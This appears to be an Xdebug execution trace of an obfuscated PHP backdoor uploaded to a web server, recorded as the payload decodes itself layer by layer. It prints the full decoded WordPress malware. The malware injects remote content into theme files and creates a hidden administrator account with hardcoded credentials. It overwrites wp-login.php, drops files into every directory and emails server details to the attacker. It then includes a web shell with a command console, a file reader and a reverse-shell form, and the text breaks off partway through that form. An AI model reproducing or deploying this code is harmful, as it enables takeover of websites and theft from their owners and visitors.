Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 19:42:58.822096]
1	0	1	0.000129	393528
1	3	0	0.000274	406464	{main}	1		/var/www/html/uploads/Vhosts.php	0	0
1		A						/var/www/html/uploads/Vhosts.php	2	$stt1 = 'Sy1LzNFQsrdT0isuKYovyi8xNNZIr8rMS8tJLEkFskrzkvNzC4pSi4upI5yUWJxqZhKfkpqcn5KqAbSzKLVMQ6W4pMRAEwlYAwA='
1		A						/var/www/html/uploads/Vhosts.php	3	$stt0 = '=kDqVITih22B7qpHJhqkQfPA/P+P39F/n9+/zbk5Ny6KocXP1Dd8eLztZwfOeLwhfeFTXXyq+ZL2EauqhgvkOSu/nlWjiVgdXNaXdUf2bp/06lR2AK0uf0AEAtDoT75FDS3+UDJxO2ncwvJirPjlYw5M7scFNEa33O9aEvTBFTut4vVxjlq2DdkxX96L7oTMA4m3V6uI1BNQyKO+QRA6rRGDb9cg7l6+J4/89GW0nO22aARUEiecRVXTHfqVzb44hCNST857e/w6S/Xe/dy+BUWocmseR15h1RjnnXYr6//MuIBgDlH/aDUjIXESBkvapdlCafcX8j9kUDLJa0FAXe8h81F9UALMsswQEJfm001Gxf7NyLcYYMB/pgIMbqJx8avp3CjQ6uMAQhQI4hBT93VPZTl3DXbaFzpnQ9Ga35QMcAL8WjpZoPyuEGyeorJ694E0OKIAdgTCValKaRMCrKy5xtD6Fr3bxO2RIybXdUvX6uG5KYLmJScNeenmNNSw'
2	4	0	0.000339	406464	base64_decode	0		/var/www/html/uploads/Vhosts.php	4	1	'Sy1LzNFQsrdT0isuKYovyi8xNNZIr8rMS8tJLEkFskrzkvNzC4pSi4upI5yUWJxqZhKfkpqcn5KqAbSzKLVMQ6W4pMRAEwlYAwA='
2	4	1	0.000359	406624
2	4	R			'K-KPS+.)//14HKI,I\005Js\vR#Xjf\022\001(LC@\023\tX\003\000'
2	5	0	0.000384	406592	gzinflate	0		/var/www/html/uploads/Vhosts.php	4	1	'K-KPS+.)//14HKI,I\005Js\vR#Xjf\022\001(LC@\023\tX\003\000'
2	5	1	0.000409	406816
2	5	R			'eval("?>".str_rot13(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(base64_decode(strrev($stt0))))))))))));'
2	6	0	0.000428	406656	htmlspecialchars_decode	0		/var/www/html/uploads/Vhosts.php	4	1	'eval("?>".str_rot13(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(base64_decode(strrev($stt0))))))))))));'
2	6	1	0.000446	406688
2	6	R			'eval("?>".str_rot13(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(base64_decode(strrev($stt0))))))))))));'
2	7	0	0.000478	409840	eval	1	'eval("?>".str_rot13(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(base64_decode(strrev($stt0))))))))))));'	/var/www/html/uploads/Vhosts.php	4	0
3	8	0	0.000496	409840	strrev	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code	1	1	'=kDqVITih22B7qpHJhqkQfPA/P+P39F/n9+/zbk5Ny6KocXP1Dd8eLztZwfOeLwhfeFTXXyq+ZL2EauqhgvkOSu/nlWjiVgdXNaXdUf2bp/06lR2AK0uf0AEAtDoT75FDS3+UDJxO2ncwvJirPjlYw5M7scFNEa33O9aEvTBFTut4vVxjlq2DdkxX96L7oTMA4m3V6uI1BNQyKO+QRA6rRGDb9cg7l6+J4/89GW0nO22aARUEiecRVXTHfqVzb44hCNST857e/w6S/Xe/dy+BUWocmseR15h1RjnnXYr6//MuIBgDlH/aDUjIXESBkvapdlCafcX8j9kUDLJa0FAXe8h81F9UALMsswQEJfm001Gxf7NyLcYYMB/pgIMbqJx8avp3CjQ6uMAQhQI4hBT93VPZTl3DXbaFzpnQ9Ga35QMcAL8WjpZoPyuEGyeorJ694E0OKIAdgTCValKaRMCrKy5xtD6Fr3bxO2RIybXdUvX6uG5KYLmJScNeenmNNSw'
3	8	1	0.000529	422160
3	8	R			'eJwByBk35gHDGTzmeJwBuBlH5gGzGUzmeJwBqBlX5gGjGVzmeJwBmBln5u0823bbRpLPyjn+hw6sMUgPCZKKPPGIEmNRI9KTzdE10kSytTwABgBFKSDRJBEBij9qX/YHdj9sq6q7cSMoUR7ZM3t25UQiu6rr1tVV1Y1Gb/9gz+0X36wH1mQYc9MbOJblsR22Puid7P/1ZP+Ddtw9en95stsf7He7fe2qXUQeTMOIQ48gdEw/5pXB4PT84mQwqCLmyB4E3OMTJNmEhnBaQfQBvwldz63kKRl6Y2TXI8sPDBBKr1ZffHPPGHvxDfxioTmJhgFnD3ZpC9wc2xY0fuKRy4GaBNsOn4Y3AJtYQ9OrvOM3dmQFvKI39Bor0a5aVYR96KQrNlPLqayHpBlbD7clWfz8xz9WBYrkKHuu+4ZuGA3VH5R6yBzEGhTUDexXtIwgkNBfbqLlZNrZzgs2S0Fjh/t3Scsn8QH+wH80otmu0LeaGLrROON+wB32k/9r8N//'
3	9	0	0.000562	422128	base64_decode	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code	1	1	'eJwByBk35gHDGTzmeJwBuBlH5gGzGUzmeJwBqBlX5gGjGVzmeJwBmBln5u0823bbRpLPyjn+hw6sMUgPCZKKPPGIEmNRI9KTzdE10kSytTwABgBFKSDRJBEBij9qX/YHdj9sq6q7cSMoUR7ZM3t25UQiu6rr1tVV1Y1Gb/9gz+0X36wH1mQYc9MbOJblsR22Puid7P/1ZP+Ddtw9en95stsf7He7fe2qXUQeTMOIQ48gdEw/5pXB4PT84mQwqCLmyB4E3OMTJNmEhnBaQfQBvwldz63kKRl6Y2TXI8sPDBBKr1ZffHPPGHvxDfxioTmJhgFnD3ZpC9wc2xY0fuKRy4GaBNsOn4Y3AJtYQ9OrvOM3dmQFvKI39Bor0a5aVYR96KQrNlPLqayHpBlbD7clWfz8xz9WBYrkKHuu+4ZuGA3VH5R6yBzEGhTUDexXtIwgkNBfbqLlZNrZzgs2S0Fjh/t3Scsn8QH+wH80otmu0LeaGLrROON+wB32k/9r8N//'
3	9	1	0.000612	434448
3	9	R			'x\001\0317\001\031<x\001\031G\001\031Lx\001\031W\001\031\\x\001\031g<vF9\0161H\017\t<\022cQ#ғ5D<\000\006\000E) $\021\001?j_\av?lq#(Q\0363{vD"UՍFo`\027߬\ad\030s\0338\035>dv=zy\037w}]D\036LÈC tL?d0"\036\004\023$لpZA\001\t]ϭ)\031zcd#\017\f\020JV_|s\030{\rb9\001g\017vi\v\034\0264~ˁ\004\0167\000XCӫ7vd\0057\032+ѮZU}+6S˩\031[\017%Y?V\005({n\030\r\037z\034\032\024\rW _n'
3	10	0	0.000784	422128	gzuncompress	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code	1	1	'x\001\0317\001\031<x\001\031G\001\031Lx\001\031W\001\031\\x\001\031g<vF9\0161H\017\t<\022cQ#ғ5D<\000\006\000E) $\021\001?j_\av?lq#(Q\0363{vD"UՍFo`\027߬\ad\030s\0338\035>dv=zy\037w}]D\036LÈC tL?d0"\036\004\023$لpZA\001\t]ϭ)\031zcd#\017\f\020JV_|s\030{\rb9\001g\017vi\v\034\0264~ˁ\004\0167\000XCӫ7vd\0057\032+ѮZU}+6S˩\031[\017%Y?V\005({n\030\r\037z\034\032\024\rW _n'
3	10	1	0.000959	430352
3	10	R			'\001\031<x\001\031G\001\031Lx\001\031W\001\031\\x\001\031g<vF9\0161H\017\t<\022cQ#ғ5D<\000\006\000E) $\021\001?j_\av?lq#(Q\0363{vD"UՍFo`\027߬\ad\030s\0338\035>dv=zy\037w}]D\036LÈC tL?d0"\036\004\023$لpZA\001\t]ϭ)\031zcd#\017\f\020JV_|s\030{\rb9\001g\017vi\v\034\0264~ˁ\004\0167\000XCӫ7vd\0057\032+ѮZU}+6S˩\031[\017%Y?V\005({n\030\r\037z\034\032\024\rW _nd\v6KAc'
3	11	0	0.001130	418032	gzinflate	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code	1	1	'\001\031<x\001\031G\001\031Lx\001\031W\001\031\\x\001\031g<vF9\0161H\017\t<\022cQ#ғ5D<\000\006\000E) $\021\001?j_\av?lq#(Q\0363{vD"UՍFo`\027߬\ad\030s\0338\035>dv=zy\037w}]D\036LÈC tL?d0"\036\004\023$لpZA\001\t]ϭ)\031zcd#\017\f\020JV_|s\030{\rb9\001g\017vi\v\034\0264~ˁ\004\0167\000XCӫ7vd\0057\032+ѮZU}+6S˩\031[\017%Y?V\005({n\030\r\037z\034\032\024\rW _nd\v6KAc'
3	11	1	0.001297	426256
3	11	R			'x\001\031G\001\031Lx\001\031W\001\031\\x\001\031g<vF9\0161H\017\t<\022cQ#ғ5D<\000\006\000E) $\021\001?j_\av?lq#(Q\0363{vD"UՍFo`\027߬\ad\030s\0338\035>dv=zy\037w}]D\036LÈC tL?d0"\036\004\023$لpZA\001\t]ϭ)\031zcd#\017\f\020JV_|s\030{\rb9\001g\017vi\v\034\0264~ˁ\004\0167\000XCӫ7vd\0057\032+ѮZU}+6S˩\031[\017%Y?V\005({n\030\r\037z\034\032\024\rW _nd\v6KAcwI\'\001'
3	12	0	0.001466	418032	gzuncompress	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code	1	1	'x\001\031G\001\031Lx\001\031W\001\031\\x\001\031g<vF9\0161H\017\t<\022cQ#ғ5D<\000\006\000E) $\021\001?j_\av?lq#(Q\0363{vD"UՍFo`\027߬\ad\030s\0338\035>dv=zy\037w}]D\036LÈC tL?d0"\036\004\023$لpZA\001\t]ϭ)\031zcd#\017\f\020JV_|s\030{\rb9\001g\017vi\v\034\0264~ˁ\004\0167\000XCӫ7vd\0057\032+ѮZU}+6S˩\031[\017%Y?V\005({n\030\r\037z\034\032\024\rW _nd\v6KAcwI\'\001'
3	12	1	0.001634	426256
3	12	R			'\001\031Lx\001\031W\001\031\\x\001\031g<vF9\0161H\017\t<\022cQ#ғ5D<\000\006\000E) $\021\001?j_\av?lq#(Q\0363{vD"UՍFo`\027߬\ad\030s\0338\035>dv=zy\037w}]D\036LÈC tL?d0"\036\004\023$لpZA\001\t]ϭ)\031zcd#\017\f\020JV_|s\030{\rb9\001g\017vi\v\034\0264~ˁ\004\0167\000XCӫ7vd\0057\032+ѮZU}+6S˩\031[\017%Y?V\005({n\030\r\037z\034\032\024\rW _nd\v6KAcwI\'\0014ٮз\03'
3	13	0	0.001820	418032	gzinflate	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code	1	1	'\001\031Lx\001\031W\001\031\\x\001\031g<vF9\0161H\017\t<\022cQ#ғ5D<\000\006\000E) $\021\001?j_\av?lq#(Q\0363{vD"UՍFo`\027߬\ad\030s\0338\035>dv=zy\037w}]D\036LÈC tL?d0"\036\004\023$لpZA\001\t]ϭ)\031zcd#\017\f\020JV_|s\030{\rb9\001g\017vi\v\034\0264~ˁ\004\0167\000XCӫ7vd\0057\032+ѮZU}+6S˩\031[\017%Y?V\005({n\030\r\037z\034\032\024\rW _nd\v6KAcwI\'\0014ٮз\03'
3	13	1	0.001996	426256
3	13	R			'x\001\031W\001\031\\x\001\031g<vF9\0161H\017\t<\022cQ#ғ5D<\000\006\000E) $\021\001?j_\av?lq#(Q\0363{vD"UՍFo`\027߬\ad\030s\0338\035>dv=zy\037w}]D\036LÈC tL?d0"\036\004\023$لpZA\001\t]ϭ)\031zcd#\017\f\020JV_|s\030{\rb9\001g\017vi\v\034\0264~ˁ\004\0167\000XCӫ7vd\0057\032+ѮZU}+6S˩\031[\017%Y?V\005({n\030\r\037z\034\032\024\rW _nd\v6KAcwI\'\0014ٮз\0308~\035'
3	14	0	0.002165	418032	gzuncompress	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code	1	1	'x\001\031W\001\031\\x\001\031g<vF9\0161H\017\t<\022cQ#ғ5D<\000\006\000E) $\021\001?j_\av?lq#(Q\0363{vD"UՍFo`\027߬\ad\030s\0338\035>dv=zy\037w}]D\036LÈC tL?d0"\036\004\023$لpZA\001\t]ϭ)\031zcd#\017\f\020JV_|s\030{\rb9\001g\017vi\v\034\0264~ˁ\004\0167\000XCӫ7vd\0057\032+ѮZU}+6S˩\031[\017%Y?V\005({n\030\r\037z\034\032\024\rW _nd\v6KAcwI\'\0014ٮз\0308~\035'
3	14	1	0.002336	426256
3	14	R			'\001\031\\x\001\031g<vF9\0161H\017\t<\022cQ#ғ5D<\000\006\000E) $\021\001?j_\av?lq#(Q\0363{vD"UՍFo`\027߬\ad\030s\0338\035>dv=zy\037w}]D\036LÈC tL?d0"\036\004\023$لpZA\001\t]ϭ)\031zcd#\017\f\020JV_|s\030{\rb9\001g\017vi\v\034\0264~ˁ\004\0167\000XCӫ7vd\0057\032+ѮZU}+6S˩\031[\017%Y?V\005({n\030\r\037z\034\032\024\rW _nd\v6KAcwI\'\0014ٮз\0308~\035k~:>'
3	15	0	0.002504	418032	gzinflate	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code	1	1	'\001\031\\x\001\031g<vF9\0161H\017\t<\022cQ#ғ5D<\000\006\000E) $\021\001?j_\av?lq#(Q\0363{vD"UՍFo`\027߬\ad\030s\0338\035>dv=zy\037w}]D\036LÈC tL?d0"\036\004\023$لpZA\001\t]ϭ)\031zcd#\017\f\020JV_|s\030{\rb9\001g\017vi\v\034\0264~ˁ\004\0167\000XCӫ7vd\0057\032+ѮZU}+6S˩\031[\017%Y?V\005({n\030\r\037z\034\032\024\rW _nd\v6KAcwI\'\0014ٮз\0308~\035k~:>'
3	15	1	0.002669	426256
3	15	R			'x\001\031g<vF9\0161H\017\t<\022cQ#ғ5D<\000\006\000E) $\021\001?j_\av?lq#(Q\0363{vD"UՍFo`\027߬\ad\030s\0338\035>dv=zy\037w}]D\036LÈC tL?d0"\036\004\023$لpZA\001\t]ϭ)\031zcd#\017\f\020JV_|s\030{\rb9\001g\017vi\v\034\0264~ˁ\004\0167\000XCӫ7vd\0057\032+ѮZU}+6S˩\031[\017%Y?V\005({n\030\r\037z\034\032\024\rW _nd\v6KAcwI\'\0014ٮз\0308~\035k~:>ޜ|\000N\003'
3	16	0	0.002836	418032	gzuncompress	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code	1	1	'x\001\031g<vF9\0161H\017\t<\022cQ#ғ5D<\000\006\000E) $\021\001?j_\av?lq#(Q\0363{vD"UՍFo`\027߬\ad\030s\0338\035>dv=zy\037w}]D\036LÈC tL?d0"\036\004\023$لpZA\001\t]ϭ)\031zcd#\017\f\020JV_|s\030{\rb9\001g\017vi\v\034\0264~ˁ\004\0167\000XCӫ7vd\0057\032+ѮZU}+6S˩\031[\017%Y?V\005({n\030\r\037z\034\032\024\rW _nd\v6KAcwI\'\0014ٮз\0308~\035k~:>ޜ|\000N\003'
3	16	1	0.003002	426256
3	16	R			'<vF9\0161H\017\t<\022cQ#ғ5D<\000\006\000E) $\021\001?j_\av?lq#(Q\0363{vD"UՍFo`\027߬\ad\030s\0338\035>dv=zy\037w}]D\036LÈC tL?d0"\036\004\023$لpZA\001\t]ϭ)\031zcd#\017\f\020JV_|s\030{\rb9\001g\017vi\v\034\0264~ˁ\004\0167\000XCӫ7vd\0057\032+ѮZU}+6S˩\031[\017%Y?V\005({n\030\r\037z\034\032\024\rW _nd\v6KAcwI\'\0014ٮз\0308~\035k~:>ޜ|\000N\003f\033x<#ߣ'
3	17	0	0.003168	418032	gzinflate	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code	1	1	'<vF9\0161H\017\t<\022cQ#ғ5D<\000\006\000E) $\021\001?j_\av?lq#(Q\0363{vD"UՍFo`\027߬\ad\030s\0338\035>dv=zy\037w}]D\036LÈC tL?d0"\036\004\023$لpZA\001\t]ϭ)\031zcd#\017\f\020JV_|s\030{\rb9\001g\017vi\v\034\0264~ˁ\004\0167\000XCӫ7vd\0057\032+ѮZU}+6S˩\031[\017%Y?V\005({n\030\r\037z\034\032\024\rW _nd\v6KAcwI\'\0014ٮз\0308~\035k~:>ޜ|\000N\003f\033x<#ߣ'
3	17	1	0.003411	446736
3	17	R			'<?cuc\r\n$qbphzrag_ebbg = $_FREIRE["QBPHZRAG_EBBG"];\r\n$qbphzrag_ebbg_svyr = qveanzr(__SVYR__);\r\n$jc_qrgrpg = 0;\r\nvs(svyr_rkvfgf($qbphzrag_ebbg.\'/jc-ybnq.cuc\'))\r\n{   \r\n    vapyhqr $qbphzrag_ebbg.\'/jc-ybnq.cuc\';\r\n    $jc_qrgrpg = 1;\r\n}ryfr\r\n{\r\n    $cersvk = pbhag(@rkcybqr(\'/\', $qbphzrag_ebbg_svyr));\r\n    $n = \'\';\r\n    sbe($v = 0; $v<$cersvk; $v++)\r\n    {\r\n      $n = $n.\'../\';\r\n      vs(svyr_rkvfgf($qbphzrag_ebbg_svyr.\'/\'.$n.\'jc-ybnq.cuc\'))\r\n      {\r\n          vapy'
3	18	0	0.003497	438512	str_rot13	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code	1	1	'<?cuc\r\n$qbphzrag_ebbg = $_FREIRE["QBPHZRAG_EBBG"];\r\n$qbphzrag_ebbg_svyr = qveanzr(__SVYR__);\r\n$jc_qrgrpg = 0;\r\nvs(svyr_rkvfgf($qbphzrag_ebbg.\'/jc-ybnq.cuc\'))\r\n{   \r\n    vapyhqr $qbphzrag_ebbg.\'/jc-ybnq.cuc\';\r\n    $jc_qrgrpg = 1;\r\n}ryfr\r\n{\r\n    $cersvk = pbhag(@rkcybqr(\'/\', $qbphzrag_ebbg_svyr));\r\n    $n = \'\';\r\n    sbe($v = 0; $v<$cersvk; $v++)\r\n    {\r\n      $n = $n.\'../\';\r\n      vs(svyr_rkvfgf($qbphzrag_ebbg_svyr.\'/\'.$n.\'jc-ybnq.cuc\'))\r\n      {\r\n          vapy'
3	18	1	0.003593	467216
3	18	R			'<?php\r\n$document_root = $_SERVER["DOCUMENT_ROOT"];\r\n$document_root_file = dirname(__FILE__);\r\n$wp_detect = 0;\r\nif(file_exists($document_root.\'/wp-load.php\'))\r\n{   \r\n    include $document_root.\'/wp-load.php\';\r\n    $wp_detect = 1;\r\n}else\r\n{\r\n    $prefix = count(@explode(\'/\', $document_root_file));\r\n    $a = \'\';\r\n    for($i = 0; $i<$prefix; $i++)\r\n    {\r\n      $a = $a.\'../\';\r\n      if(file_exists($document_root_file.\'/\'.$a.\'wp-load.php\'))\r\n      {\r\n          incl'
3	19	0	0.004295	575728	eval	1	'?><?php\r\n$document_root = $_SERVER["DOCUMENT_ROOT"];\r\n$document_root_file = dirname(__FILE__);\r\n$wp_detect = 0;\r\nif(file_exists($document_root.\'/wp-load.php\'))\r\n{   \r\n    include $document_root.\'/wp-load.php\';\r\n    $wp_detect = 1;\r\n}else\r\n{\r\n    $prefix = count(@explode(\'/\', $document_root_file));\r\n    $a = \'\';\r\n    for($i = 0; $i<$prefix; $i++)\r\n    {\r\n      $a = $a.\'../\';\r\n      if(file_exists($document_root_file.\'/\'.$a.\'wp-load.php\'))\r\n      {\r\n          include $document_root_file.\'/\'.$a.\'wp-load.php\';\r\n          $wp_detect = 1;\r\n          break;\r\n      }\r\n    }\r\n}\r\n\r\nif($wp_detect == 1)\r\n{\r\n    //Header Yazdırma\r\n    $wp_theme_dir = get_template_directory();\r\n    $header_file = $wp_theme_dir.\'/headers.php\';\r\n    $header_content = file_get_contents($header_file);\r\n    $append = http_get(\'https://wordpres.page/txt/lamer.txt\');\r\n    if(!preg_match(\'#\'.$append.\'#\', $header_content))\r\n    {   \r\n\t    $new_content = $append.$header_content;\r\n\t    $open_file = fopen($header_file, \'w\');\r\n\t    fwrite($open_file, $new_content);\r\n\t    fclose($open_file);\r\n    }\r\n    //Header Yazdırma   \r\n    \r\n    // shell Ekleme\r\n    $user = \'new_admin\';\r\n    $pass = \'Mzj2zr542CwkB#7QDsX^RK@fe@mxBTVAHp\';\r\n    $email = \'byhero44@gmail.com\';\r\n    if (!username_exists( $user ) && !email_exists( $email ) ) {\r\n        $user_id = wp_create_user( $user, $pass, $email );\r\n        $user = new WP_User( $user_id );\r\n        $user->set_role( \'administrator\' );\r\n    } \r\n    // shell Ekleme\r\n    \r\n    // Wp Login Yazma.\r\n    $wp_login = ABSPATH.\'/wp-login.php\';\r\n    $login = http_get(\'https://wordpres.page/txt/seo.txt\');\r\n    $open_login = fopen($wp_login, \'w\');\r\n    fwrite($open_login, $login);\r\n    fclose($open_login);\r\n    // Wp Login Yazma.\r\n}\r\n\r\n\r\n// Shell Yazma\r\n$code = http_get(\'#\');\r\n$wp_code = $document_root.\'/#\';\r\n$open_code = fopen($wp_code, \'w\');\r\nfwrite($open_code, $code);\r\nfclose($open_code);\r\n// Shell Yazma\r\n\r\n// Makale Yazma\r\n$makale = http_get(\'\');\r\n$wp_makale = $document_root.\'/\';\r\n$open_makale = fopen($wp_makale, \'w\');\r\nfwrite($open_makale, $makale);\r\nfclose($open_makale);\r\n// Makale Yazma\r\n\r\n\r\n// Klasörlere Yazma\r\n$directories = expandDirectories($document_root);\r\n$css = http_get(\'https://wordpres.page/txt/lamer.txt\');\r\nforeach($directories as $dir)\r\n{\r\n\tif(!preg_match(\'#wp-content#\', $dir))\r\n\t{\r\n\t    $css_file = $dir.\'/wp-indos.php\';\r\n\t    $open_css = fopen($css_file, \'w\');\r\n\t    fwrite($open_css, $css);\r\n\t    fclose($open_css);\r\n    }\r\n}\r\n// Klasörlere Yazma\r\n\r\nfunction expandDirectories($base_dir) {\r\n      $directories = array();\r\n      foreach(scandir($base_dir) as $file) {\r\n            if($file == \'.\' || $file == \'..\') continue;\r\n            $dir = $base_dir.DIRECTORY_SEPARATOR.$file;\r\n            if(is_dir($dir)) {\r\n                $directories []= $dir;\r\n                $directories = array_merge($directories, expandDirectories($dir));\r\n            }\r\n      }\r\n      return $directories;\r\n}\r\nfunction http_get($url)\r\n{\r\n\t$im = curl_init($url);\r\n\tcurl_setopt($im, CURLOPT_RETURNTRANSFER, 1);\r\n\tcurl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);\r\n\tcurl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);\r\n\tcurl_setopt($im, CURLOPT_HEADER, 0);\r\n\treturn curl_exec($im);\r\n\tcurl_close($im);\r\n}\r\n?><?php\r\n$kime = "byhero44@gmail.com";\r\n$baslik = "wsoff 2023";\r\n$EL_MuHaMMeD = "Dosya Yolu : " . $_SERVER[\'DOCUMENT_ROOT\'] . "\\r\\n";\r\n$EL_MuHaMMeD.= "Server Admin : " . $_SERVER[\'SERVER_ADMIN\'] . "\\r\\n";\r\n$EL_MuHaMMeD.= "Server isletim sistemi : " . $_SERVER[\'SERVER_SOFTWARE\'] . "\\r\\n";\r\n$EL_MuHaMMeD.= "Shell Link : http://" . $_SERVER[\'SERVER_NAME\'] . $_SERVER[\'PHP_SELF\'] . "\\r\\n";\r\n$EL_MuHaMMeD.= "Avlanan Site : " . $_SERVER[\'HTTP_HOST\'] . "\\r\\n";\r\nmail($kime, $baslik, $EL_MuHaMMeD);\r\n?><?php\r\n\t//by ghostlulz\r\n\t// beggining of HTML doc\r\n\tfunction headhtml()\r\n\t{\r\n\t\techo "<html>";\r\n\t\techo "<head>";\r\n\r\n\t\t//CSS\r\n\t\techo "<style>";\r\n\t\techo "body {background-color:#1A1A1D;color:white; font-size:20px;}";\r\n\t\techo "input[type=text], select {width: 60%;padding: 12px 20px;font-size:20px;border-color:#470B0B; background-color:#C3BFB5}";\r\n\t\techo "input[type=submit] {width: 10%;padding: 12px 20px;background-color:#470B0B;color:#C3BFB5;font-size:20px;border-color:#470B0B;}";\r\n\t\techo "table{width:100%;}";\r\n\t\techo "td,th {border: 1px solid transparent; padding:10px;}";\r\n\t\techo "td {text-align:center;}";\r\n\t\techo "tr:nth-child(even) td { background: #470B0B; } ";\r\n\t\techo "a {color:white;}";\r\n\t\techo "#container {width:85%;float:right;padding-bottom:150px;}"; //padding bottem = footer hight\r\n\t\techo "ul {list-style-type: none;margin: 0;padding: 0;overflow: hidden;}";\r\n\t\techo "li {float: left;}";\r\n\t\techo "li a {display: block;color: white;text-align: center;padding: 14px 16px;text-decoration: none;}";\r\n\t\techo "li a:hover {background-color: #282828;}";\r\n\t\techo ".active:hover {background-color: #470B0B;}";\r\n\t\techo ".active {background-color: #470B0B;}";\r\n\t\techo "td a{color:#97caf9;}";\r\n\t\techo "th {color:#FFC04C;}";\r\n\t\techo "#command {background-color:#C3BFB5;color:black;width:60%;padding-top:30px;padding-bottom:30px;padding-left:10px;}";\r\n\t\techo "#fleftReverseShell {float:right;padding-right:5%;}";\r\n\t\techo "footer {clear:both;background-color:black;font-size:11px;padding-left:5px;position:fixed;bottom:0;width:100%;height:150px;}";\r\n\t\techo "#center {text-align:center;}";\r\n\t\techo "</style>";\r\n\r\n\t\techo "</head>";\r\n\t\techo "<body>";\r\n\r\n\t\t//Nav bar\r\n\t\techo "<ul>";\r\n\t\techo "<li><a class=\'active\' href=\'?\'>Home</a></li>";\r\n\t\techo "<li><a href=\'?console=1\'>Console</a></li>";\r\n\t\techo "<li><a href=\'?reverse-shell=1\'>Reverse Shell</a></li>";\r\n\t\techo "<li><a href=\'?database=1\'>Databases</a></li>";\r\n\t\techo "</ul>";\r\n\t\techo "<br>";\r\n\t\techo "<br>";\r\n\r\n\t\t// container for content\r\n\t\techo "<div id=\'container\'>";\r\n\t}\r\n\r\n\t// ending of HTML doc\r\n\tfunction foothtml()\r\n\t{\r\n\t\t//closing tags\r\n\t\techo "</div>";\r\n\t\techo "</body>";\r\n\t\techo "<footer>";\r\n\t\techo "<br>";\r\n\t\techo "<p id=\'center\'>By: <font color=\'red\'>MuricaSpi</font> AKA <font color=\'blue\'>Ghostlulz</font></p>";\r\n\t\techo "<p id=\'center\'><a href=\'?\'>Home</a> <a href=\'?console=1\'>Console</a> <a href=\'?reverse-shell=1\'>Reverse Shell</a> <a href=\'#Databases\'>Databases</a></p>";\r\n\t\techo "<br>";\r\n\t\techo "<p>*NOT FOR ILLEGAL USE*</p>";\r\n\t\techo "<p>I am not resposible for what you do with this product.</p>";\r\n\r\n\t\techo "</footer>";\r\n\t\techo "</html>";\r\n\t}\r\n\r\n\t//folder form\r\n\tfunction displayFolderForm()\r\n\t{\r\n\r\n\t\techo \'<form action="">\';\r\n\r\n\t\techo \'<label>Switch Directory:</label><br>\';\r\n\t\techo \'<input type="text" name="directory" placeholder="/var/www/html/">\';\r\n\t\techo \'<input type="submit" value="Submit">\';\r\n\t\techo \'</form>\';\r\n\t\techo \'<br>\';\r\n\t\t\r\n\r\n\t\techo \'<form action="">\';\r\n\t\techo \'<label>Read File:</label><br>\';\r\n\t\techo \'<input type="text" name="displayfile" placeholder="/etc/passwd">\';\r\n\t\techo \'<input type="submit" value="Submit">\';\r\n\t\techo \'</form>\';\r\n\t}\r\n\r\n\t//console form\r\n\tfunction displayConsoleForm()\r\n\t{\r\n\t\techo \'<form action="">\';\r\n\r\n\t\techo \'<label>Os Commands</label><br>\';\r\n\t\techo \'<input type="hidden" name="console" value="1">\';\r\n\t\techo \'<select name="command">\';\r\n\r\n\t\techo \'<optgroup label="Distribution Type / Version">\';\r\n    \techo \'<option value="cat /etc/issue">cat /etc/issue</option>\';\r\n    \techo \'<option value="cat /etc/*-release">cat /etc/*-release</option>\';\r\n    \techo \'<option value="cat /etc/lsb-release">cat /etc/lsb-release (Debian)</option>\';\r\n    \techo \'<option value="cat /etc/redhat-release">cat /etc/redhat-release (Redhat)</option>\';\r\n    \techo \'</optgroup>\';\r\n\r\n    \techo \'<optgroup label="Kernel Version">\';\r\n    \techo \'<option value="uname -ar">cat uname -ar</option>\';\r\n    \techo \'</optgroup>\';\r\n\r\n    \techo \'<optgroup label="File System Info">\';\r\n    \techo \'<option value="df -h">df -h</option>\';\r\n    \techo \'</optgroup>\';\r\n    \techo \'</select>\';\r\n\r\n\t\techo \'<input type="submit" value="Submit">\';\r\n\t\techo \'</form>\';\r\n\r\n\r\n\t\techo \'<form action="">\';\r\n\r\n\t\techo \'<label>Custom Os Commands</label><br>\';\r\n\t\techo \'<input type="hidden" name="console" value="1">\';\r\n\t\techo \'<input type="text" name="command" placeholder="cat /etc/passwd">\';\r\n\t\techo \'<input type="submit" value="Submit">\';\r\n\t\techo \'</form>\';\r\n\t}\r\n\r\n\t//reverse shell form\r\n\tfunction displayReverseShellForm()\r\n\t{\r\n\t\t// check if programs are installed\r\n\t\t$Netcat = exec("which nc");\r\n\t\t$Bash = exec("which bash");\r\n\t\t$SH = exec("which sh");\r\n\t\t$Python = exec("which python");\r\n\t\t$Ruby = exec("which ruby");\r\n\t\t$Php = exec("which php");\r\n\t\t$Perl = exec("which perl");\r\n\t\t$Java = exec("which java");\r\n\r\n\t\techo "<div id=\'fleftReverseShell\'>";\r\n\t\techo "<h4> Installed Applications</h4>";\r\n\r\n\t\t// If not installed string will be empty \r\n\t\tif($Netcat === \'\')\r\n\t\t{\r\n\t\t\techo \'Netcat - <font color="red">Not Installed</font>\';\r\n\t\t\techo \'<br>\';\r\n\t\t\techo \'<br>\';\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\techo \'Netcat - <font color="green">Installed</font>\';\r\n\t\t\techo \'<br>\';\r\n\t\t\techo \'<br>\';\r\n\t\t}\r\n\r\n\t\tif($Bash === \'\')\r\n\t\t{\r\n\t\t\techo \'Bash - <font color="red">Not Installed</font>\';\r\n\t\t\techo \'<br>\';\r\n\t\t\techo \'<br>\';\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\techo \'Bash Shell- <font color="green">Installed</font>\';\r\n\t\t\techo 